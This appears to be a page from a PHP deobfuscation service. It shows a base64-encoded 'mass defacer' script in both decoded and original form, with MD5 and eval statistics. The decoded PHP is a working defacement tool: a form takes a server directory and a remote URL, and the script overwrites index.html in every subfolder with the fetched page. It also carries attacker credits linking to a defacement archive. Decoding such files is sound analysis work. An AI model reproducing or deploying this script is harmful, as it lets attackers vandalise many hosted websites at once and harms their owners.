Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
Dr.Maestro mass defacer script <?php eval("?>".base64_decode("PGh0bWwgeG1sbnM6dj0idXJu..
Decoded Output download
?>b'<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
<head>
<style type="text/css">
div.end
{
width:100%;
background:#222;
}
* {
padding:0;
margin:0;
}
div.end *
{
font-size:small;
}
</style>
<title>Mass Defacer Server Folder</title>
</head>
<body style="background-color: #1F1F1F">
<body style="background-color: #1F1F1F">
<center>
<style>
body { color: #FFCC00;
}
.style3 {
font-size: 40pt;
}
.style31 {
text-align: center;
}
.style32 {
font-family: "Bell MT";
}
.style33 {
color: #FF6000;
}
.style39 {
font-size: 60pt;
}
.style41 {
font-size: xx-large;
}
.style42 {
font-weight: bold;
font-size: x-large;
}
</style>
</head>
<p class="style3">
<span <ul>
<span class="style32">
<span class="style39">
<span style="font-weight: 700;" class="style33">
<font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);">Mass Defacer
Server</font></span></span></span>
</span></p><br>
<span style="font-weight: 700;" class="style33">
<font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"><br>
<br>
</center>
<div class="style31">
<html>
<style>
body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
input,
.kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
.style45 {
background-color: #000000;
}
</style>
<?php
/*
Script: Mass Deface Script
*/
echo "<center><textarea rows=\'10\' cols=\'100\'>";
$defaceurl = $_POST[\'massdefaceurl\'];
$dir = $_POST[\'massdefacedir\'];
echo $dir."
";
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir.$file)=="dir"){
$newfile=$dir.$file."/index.html";
echo $newfile."
";
if (!copy($defaceurl, $newfile)) {
echo "failed to copy $file...
";
}
}
}
closedir($dh);
}
}
echo "</textarea></center>";
?>
<td align=right>Mass Defacement:</td><br>
</div>
<form action=\'<?php basename($_SERVER[\'PHP_SELF\']); ?>\' method=\'post\'>
<div class="style31">
[+] Main Directory: <input type=\'text\' style=\'width: 250px\' value=\'<?php echo getcwd() . "/"; ?>\' name=\'massdefacedir\'>
[+] Defacement Url: <input type=\'text\' style=\'width: 250px\' name=\'massdefaceurl\'>
<input type=\'submit\' name=\'execmassdeface\' value=\'Execute\'></div>
</form></td>
<br><br><br>
<br>
<br>
<br>
<br>
<br>
<br>
<div class="end">
<p align="center" class="style45"><b> </b><br />
</p>
<table style="border: 2px solid rgb(218, 218, 218);" width="100%" bgcolor="#000000" height="%">
<tr>
<td><center class="style31"><font size="4" color="white" face="tahoma">
<b>[ <span class="style27"> <font size="5" color="red"><span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)"><font class="whiteglow" face="tahoma"><span <ul=""><font color="#808080" face="Tahoma"><span <ul="" lang="en-us"><font size="4" color="white" face="tahoma"><span class="style41">Tools</span><span class="style25"><font color="Green"><font class="style26" size="-2" color="gray"><span class="style21"><strong>
<font size="4" color="white" face="tahoma">Mass Deface |</font></strong></span></font></font></span></font>
Copyright / <font color="#FFFFFF" face="Tahoma">2013
<a style="text-decoration: none; " href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
<font color="#FFFFFF">AL.MaX HaCkEr </font></a></font></span>
<font color="#000000"> </font></font></span></font></span></font></span> ]<span class="style27">
</span><br>
<span class="style27"><font size="5" color="red">
<span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)">
<font class="whiteglow" face="tahoma"><span <ul="">
<font color="#808080" face="Tahoma"> <font color="#000000">
<a style="text-decoration: none" href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
<font color="#808080" face="Tahoma">Zone-h</font></a><font size="5" color="red" face="tahoma"><font class="whiteglow" face="tahoma"><font color="#808080" face="Tahoma">
<img alt="" src="http://www.senojflags.com/images/national-flag-icons/Sudan-Flag.png" height="16" width="16"></font></font></font>
</font></font></span></font></span></font></span></b>
<strong class="style42">[email protected]</strong></font></center></td>
</tr>
</table>
<p align="center" class="style45"> </p>
<p align="center"></p>
</div>
<p class="style31"> </p>
'
Did this file decode correctly?
Original Code
Dr.Maestro
mass defacer script
<?php eval("?>".base64_decode("PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSI+DQoNCjxoZWFkPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KZGl2LmVuZA0Kew0KICAgIHdpZHRoOjEwMCU7DQogICAgYmFja2dyb3VuZDojMjIyOw0KfQ0KDQoqIHsNCiAgICBwYWRkaW5nOjA7DQogICAgbWFyZ2luOjA7DQp9DQoNCmRpdi5lbmQgKg0Kew0KICAgIGZvbnQtc2l6ZTpzbWFsbDsNCn0NCg0KPC9zdHlsZT4NCjx0aXRsZT5NYXNzIERlZmFjZXIgU2VydmVyIEZvbGRlcjwvdGl0bGU+DQo8L2hlYWQ+DQoNCjxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMUYxRjFGIj4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMxRjFGMUYiPg0KDQo8Y2VudGVyPg0KPHN0eWxlPg0KYm9keSB7IGNvbG9yOiAjRkZDQzAwOw0KfQ0KLnN0eWxlMyB7DQoJZm9udC1zaXplOiA0MHB0Ow0KfQ0KLnN0eWxlMzEgew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5zdHlsZTMyIHsNCglmb250LWZhbWlseTogIkJlbGwgTVQiOw0KfQ0KLnN0eWxlMzMgew0KCWNvbG9yOiAjRkY2MDAwOw0KfQ0KLnN0eWxlMzkgew0KCWZvbnQtc2l6ZTogNjBwdDsNCn0NCi5zdHlsZTQxIHsNCglmb250LXNpemU6IHh4LWxhcmdlOw0KfQ0KLnN0eWxlNDIgew0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWZvbnQtc2l6ZTogeC1sYXJnZTsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8cCBjbGFzcz0ic3R5bGUzIj4NCg0KPHNwYW4gPHVsPg0KDQoJPHNwYW4gY2xhc3M9InN0eWxlMzIiPg0KCTxzcGFuIGNsYXNzPSJzdHlsZTM5Ij4NCjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgY2xhc3M9InN0eWxlMzMiPg0KCTxmb250IGNsYXNzPSJoayIgc3R5bGU9InRleHQtc2hhZG93OiAycHggMnB4IDNweCByZ2IoMCwgMCwgMCk7Ij5NYXNzIERlZmFjZXIgDQpTZXJ2ZXI8L2ZvbnQ+PC9zcGFuPjwvc3Bhbj48L3NwYW4+DQoJPC9zcGFuPjwvcD48YnI+DQo8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcwMDsiIGNsYXNzPSJzdHlsZTMzIj4NCgk8Zm9udCBjbGFzcz0iaGsiIHN0eWxlPSJ0ZXh0LXNoYWRvdzogMnB4IDJweCAzcHggcmdiKDAsIDAsIDApOyI+PGJyPg0KPGJyPg0KPC9jZW50ZXI+DQo8ZGl2IGNsYXNzPSJzdHlsZTMxIj4NCjxodG1sPg0KPHN0eWxlPg0KYm9keXttYXJnaW46MHB4O2ZvbnQtc3R5bGU6bm9ybWFsO2ZvbnQtc2l6ZToxMHB4O2NvbG9yOiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtiYWNrZ3JvdW5kLWNvbG9yOiMzYTNhM2E7c2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMzMDMwMzA7c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzVkNWQ1ZDtzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyO3Njcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjM2EzYTNhO3Njcm9sbGJhci1hcnJvdy1jb2xvcjogIzlkOWQ5ZDtzY3JvbGxiYXItdHJhY2stY29sb3I6ICMzYTNhM2E7c2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMzYTNhM2E7fQ0KaW5wdXQsDQoua2JydG0sc2VsZWN0e2JhY2tncm91bmQ6IzMwMzAzMDtjb2xvcjojRkZGRkZGO2ZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Zm9udC1zaXplOjEwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyBoZWlnaHQ6MTg7IGJvcmRlci1sZWZ0OjFweCBzb2xpZCAjNWQ1ZDVkOyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci10b3A6MXB4IHNvbGlkICM1ZDVkNWQ7fQ0KYnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM2NjY2NjY7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fQ0KYm9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31ib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9ICANCi5zdHlsZTQ1IHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KPC9zdHlsZT4NCjw/cGhwDQovKg0KU2NyaXB0OiBNYXNzIERlZmFjZSBTY3JpcHQNCiovDQplY2hvICI8Y2VudGVyPjx0ZXh0YXJlYSByb3dzPScxMCcgY29scz0nMTAwJz4iOw0KJGRlZmFjZXVybCA9ICRfUE9TVFsnbWFzc2RlZmFjZXVybCddOw0KJGRpciA9ICRfUE9TVFsnbWFzc2RlZmFjZWRpciddOw0KZWNobyAkZGlyLiJcbiI7DQogDQppZiAoaXNfZGlyKCRkaXIpKSB7DQogICAgaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihmaWxldHlwZSgkZGlyLiRmaWxlKT09ImRpciIpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbmV3ZmlsZT0kZGlyLiRmaWxlLiIvaW5kZXguaHRtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJG5ld2ZpbGUuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFjb3B5KCRkZWZhY2V1cmwsICRuZXdmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gImZhaWxlZCB0byBjb3B5ICRmaWxlLi4uXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgY2xvc2VkaXIoJGRoKTsNCiAgICB9DQp9DQplY2hvICI8L3RleHRhcmVhPjwvY2VudGVyPiI7DQo/Pg0KDQoNCjx0ZCBhbGlnbj1yaWdodD5NYXNzIERlZmFjZW1lbnQ6PC90ZD48YnI+DQoJPC9kaXY+DQo8Zm9ybSBhY3Rpb249Jzw/cGhwIGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTsgPz4nIG1ldGhvZD0ncG9zdCc+DQo8ZGl2IGNsYXNzPSJzdHlsZTMxIj4NClsrXSBNYWluIERpcmVjdG9yeTogPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogMjUwcHgnIHZhbHVlPSc8P3BocCAgZWNobyBnZXRjd2QoKSAuICIvIjsgPz4nIG5hbWU9J21hc3NkZWZhY2VkaXInPg0KWytdIERlZmFjZW1lbnQgVXJsOiA8aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3dpZHRoOiAyNTBweCcgbmFtZT0nbWFzc2RlZmFjZXVybCc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdleGVjbWFzc2RlZmFjZScgdmFsdWU9J0V4ZWN1dGUnPjwvZGl2Pg0KCTwvZm9ybT48L3RkPg0KIA0KIA0KDQo8YnI+PGJyPjxicj4NCg0KDQoNCjxicj4NCgk8YnI+DQoJPGJyPg0KCTxicj4NCgk8YnI+DQoJPGJyPg0KDQo8ZGl2IGNsYXNzPSJlbmQiPg0KPHAgYWxpZ249ImNlbnRlciIgY2xhc3M9InN0eWxlNDUiPjxiPiZuYnNwOzwvYj48YnIgLz4NCjwvcD4NCjx0YWJsZSBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgcmdiKDIxOCwgMjE4LCAyMTgpOyIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IiMwMDAwMDAiIGhlaWdodD0iJSI+DQoJPHRyPg0KCQk8dGQ+PGNlbnRlciBjbGFzcz0ic3R5bGUzMSI+PGZvbnQgc2l6ZT0iNCIgY29sb3I9IndoaXRlIiBmYWNlPSJ0YWhvbWEiPg0KCQk8Yj5bIDxzcGFuIGNsYXNzPSJzdHlsZTI3Ij4mbmJzcDs8Zm9udCBzaXplPSI1IiBjb2xvcj0icmVkIj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcwMDsgZmlsdGVyOiBibHVyKGFkZD0xLCBkaXJlY3Rpb249MjcwLCBzdHJlbmd0aD0zMCkiPjxmb250IGNsYXNzPSJ3aGl0ZWdsb3ciIGZhY2U9InRhaG9tYSI+PHNwYW4gPHVsPSIiPjxmb250IGNvbG9yPSIjODA4MDgwIiBmYWNlPSJUYWhvbWEiPjxzcGFuIDx1bD0iIiBsYW5nPSJlbi11cyI+PGZvbnQgc2l6ZT0iNCIgY29sb3I9IndoaXRlIiBmYWNlPSJ0YWhvbWEiPjxzcGFuIGNsYXNzPSJzdHlsZTQxIj5Ub29sczwvc3Bhbj48c3BhbiBjbGFzcz0ic3R5bGUyNSI+PGZvbnQgY29sb3I9IkdyZWVuIj48Zm9udCBjbGFzcz0ic3R5bGUyNiIgc2l6ZT0iLTIiIGNvbG9yPSJncmF5Ij48c3BhbiBjbGFzcz0ic3R5bGUyMSI+PHN0cm9uZz4NCgkJPGZvbnQgc2l6ZT0iNCIgY29sb3I9IndoaXRlIiBmYWNlPSJ0YWhvbWEiPk1hc3MgRGVmYWNlIHw8L2ZvbnQ+PC9zdHJvbmc+PC9zcGFuPjwvZm9udD48L2ZvbnQ+PC9zcGFuPjwvZm9udD4gDQoJCUNvcHlyaWdodCAvIDxmb250IGNvbG9yPSIjRkZGRkZGIiBmYWNlPSJUYWhvbWEiPjIwMTMNCgkJPGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsgIiBocmVmPSJodHRwOi8vd3d3LnpvbmUtaC5jb20vYXJjaGl2ZS9ub3RpZmllcj1BTC5NYVglMjBIYUNrRXIiPg0KCQk8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+QUwuTWFYIEhhQ2tFciA8L2ZvbnQ+PC9hPjwvZm9udD48L3NwYW4+DQoJCTxmb250IGNvbG9yPSIjMDAwMDAwIj4mbmJzcDs8L2ZvbnQ+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9zcGFuPjwvZm9udD48L3NwYW4+Jm5ic3A7XTxzcGFuIGNsYXNzPSJzdHlsZTI3Ij4NCgkJPC9zcGFuPjxicj4NCgkJPHNwYW4gY2xhc3M9InN0eWxlMjciPjxmb250IHNpemU9IjUiIGNvbG9yPSJyZWQiPg0KCQk8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcwMDsgZmlsdGVyOiBibHVyKGFkZD0xLCBkaXJlY3Rpb249MjcwLCBzdHJlbmd0aD0zMCkiPg0KCQk8Zm9udCBjbGFzcz0id2hpdGVnbG93IiBmYWNlPSJ0YWhvbWEiPjxzcGFuIDx1bD0iIj4NCgkJPGZvbnQgY29sb3I9IiM4MDgwODAiIGZhY2U9IlRhaG9tYSI+Jm5ic3A7IDxmb250IGNvbG9yPSIjMDAwMDAwIj4NCgkJPGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSIgaHJlZj0iaHR0cDovL3d3dy56b25lLWguY29tL2FyY2hpdmUvbm90aWZpZXI9QUwuTWFYJTIwSGFDa0VyIj4NCgkJPGZvbnQgY29sb3I9IiM4MDgwODAiIGZhY2U9IlRhaG9tYSI+Wm9uZS1oPC9mb250PjwvYT48Zm9udCBzaXplPSI1IiBjb2xvcj0icmVkIiBmYWNlPSJ0YWhvbWEiPjxmb250IGNsYXNzPSJ3aGl0ZWdsb3ciIGZhY2U9InRhaG9tYSI+PGZvbnQgY29sb3I9IiM4MDgwODAiIGZhY2U9IlRhaG9tYSI+DQoJCTxpbWcgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy5zZW5vamZsYWdzLmNvbS9pbWFnZXMvbmF0aW9uYWwtZmxhZy1pY29ucy9TdWRhbi1GbGFnLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2Ij48L2ZvbnQ+PC9mb250PjwvZm9udD4NCgkJPC9mb250PjwvZm9udD48L3NwYW4+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9zcGFuPjwvYj4NCgkJPHN0cm9uZyBjbGFzcz0ic3R5bGU0MiI+R3VuQExpbnV4bWFpbC5Pcmc8L3N0cm9uZz48L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJzdHlsZTQ1Ij4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48L3A+DQo8L2Rpdj4NCg0KPHAgY2xhc3M9InN0eWxlMzEiPiZuYnNwOzwvcD4NCg0K")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 18465c336b1e639d6681b23b3b62a726 |
Eval Count | 1 |
Decode Time | 86 ms |